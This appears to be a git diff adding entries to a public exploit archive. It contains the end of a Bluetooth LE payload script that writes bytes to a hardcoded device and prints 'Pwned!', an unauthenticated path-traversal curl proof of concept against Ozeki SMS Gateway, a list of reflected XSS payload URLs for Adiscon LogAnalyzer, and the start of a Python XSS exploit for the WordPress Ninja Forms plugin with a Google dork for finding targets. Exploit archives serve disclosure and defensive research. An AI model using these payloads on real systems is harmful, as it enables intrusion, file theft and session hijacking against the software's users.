"${GREEN}[+]*********************************************************[+]" + echo -e "${GREEN}[Enter key to send payload]${ENDCOLOR}" + } + +banner +read -s -n 1 key +if [ "$key" = "x" ]; then + exit 0; +elif [ "$key" = "" ]; then + gattout=$(sudo timeout 5 gatttool -b c8:f0:9e:88:92:3e --primary) + if [ -z "$gattout" ]; then + echo -e "${RED}Connection timed out${ENDCOLOR}" + exit 0; + else + sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x000d -n 00000001 >/dev/null 2>&1 + echo -ne "${GREEN}[Sending Payload]${ENDCOLOR}" + sleep 1 + if [ $? -eq 1 ]; then + $failed=$true + exit 0; + fi + sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n ab >/dev/null 2>&1 + sleep 1 + if [ $? -eq 1 ]; then + $failed=$true + echo -e "${RED}[**Exploit Failed**]${ENDCOLOR}" + exit 0; + else + sudo gatttool -b c8:f0:9e:88:92:3e --char-write-req -a 0x0008 -n abcd >/dev/null 2>&1 + sleep 1 + for i in {1..5} + do + echo -ne "${GREEN}." + sleep 1 + done + echo -e "\n${WHITE}[Pwned!]${ENDCOLOR}" + fi +fi +fi \ No newline at end of file diff --git a/exploits/multiple/webapps/51646.txt b/exploits/multiple/webapps/51646.txt new file mode 100644 index 0000000000..aeff179a5f --- /dev/null +++ b/exploits/multiple/webapps/51646.txt @@ -0,0 +1,19 @@ +# Exploit Title: Ozeki 10 SMS Gateway 10.3.208 - Arbitrary File Read (Unauthenticated) +# Date: 01.08.2023 +# Exploit Author: Ahmet Ümit BAYRAM +# Vendor Homepage: https://ozeki-sms-gateway.com +# Software Link: +https://ozeki-sms-gateway.com/attachments/702/installwindows_1689352737_OzekiSMSGateway_10.3.208.zip +# Version: 10.3.208 +# Tested on: Windows 10 + + + +##################################### Arbitrary File Read PoC +##################################### + +curl +https://localhost:9515/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fwindows/win.ini + +##################################### Arbitrary File Read PoC +##################################### \ No newline at end of file diff --git a/exploits/php/webapps/51643.txt b/exploits/php/webapps/51643.txt new file mode 100644 index 0000000000..f509b89179 --- /dev/null +++ b/exploits/php/webapps/51643.txt @@ -0,0 +1,24 @@ +# Exploit Title: Adiscon LogAnalyzer v.4.1.13 - Cross Site Scripting +# Date: 2023.Aug.01 +# Exploit Author: Pedro (ISSDU TW) +# Vendor Homepage: https://loganalyzer.adiscon.com/ +# Software Link: https://loganalyzer.adiscon.com/download/ +# Version: v4.1.13 and before +# Tested on: Linux +# CVE : CVE-2023-36306 + +There are several installation method. +If you installed without database(File-Based),No need to login. +If you installed with database, You should login with Read Only User(at least) + +XSS Payloads are as below: + +XSS +http://[ip address]/loganalyzer/asktheoracle.php?type=domain&query=&uid=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E +http://[ip address]/loganalyzer/chartgenerator.php?type=2&byfield=syslogseverity&width=400&%%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E=123 +http://[ip address]/loganalyzer/details.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E +http://[ip address]/loganalyzer/index.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E +http://[ip address]/loganalyzer/search.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E +http://[ip address]/loganalyzer/export.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E +http://[ip address]/loganalyzer/reports.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E +http://[ip address]/loganalyzer/statistics.php/%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E \ No newline at end of file diff --git a/exploits/php/webapps/51644.py b/exploits/php/webapps/51644.py new file mode 100755 index 0000000000..f4fdda4872 --- /dev/null +++ b/exploits/php/webapps/51644.py @@ -0,0 +1,158 @@ +# Exploit Title: WordPress Plugin Ninja Forms 3.6.25 - Reflected XSS (Authenticated) +# Google Dork: inurl:/wp-content/plugins/ninja-forms/readme.txt +# Date: 2023-07-27 +# Exploit Author: Mehran Seifalinia +# Vendor Homepage: https://ninjaforms.com/ +# Software Link: https://downloads.wordpress.org/plugin/ninja-forms.3.6.25.zip +# Version: 3.6.25 +# Tested on: Windows 10 +# CVE: CVE-2023-37979 + +from requests import get +from sys import argv +from os import getcwd +import webbrowser +from time import sleep + + +# Values: +url = argv[-1] +if url[-1] == "/": + url = url.rstrip("/") + +# Constants +CVE_NAME = "CVE-2023-37979" +VULNERABLE_VERSION = "3.6.25" + + # HTML template +HTML_TEMPLATE = f""" + + + + {CVE_NAME} + + + +

+ Ninja-forms reflected XSS ({CVE_NAME})
+ Created by Mehran Seifalinia +
+
+
+ + + + + + " /> + +
+
+
After click on the button, If you received a 0 or received an empty page in browser , that means you need to login first.
+